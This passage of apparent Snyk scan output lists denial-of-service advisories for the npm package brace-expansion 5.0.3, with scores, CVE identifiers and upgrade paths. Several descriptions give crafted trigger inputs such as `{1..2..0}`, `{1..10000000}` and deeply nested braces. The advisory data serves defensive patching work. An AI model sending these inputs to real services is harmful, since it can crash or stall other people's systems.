"high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpublish@11.1.3", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpublish@11.2.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpublish@11.1.3", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpublish@11.2.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpublish@11.1.3", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpublish@11.2.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmsearch@9.0.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmsearch@9.0.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmsearch@9.0.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmsearch@9.0.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmsearch@9.0.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmsearch@9.0.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the 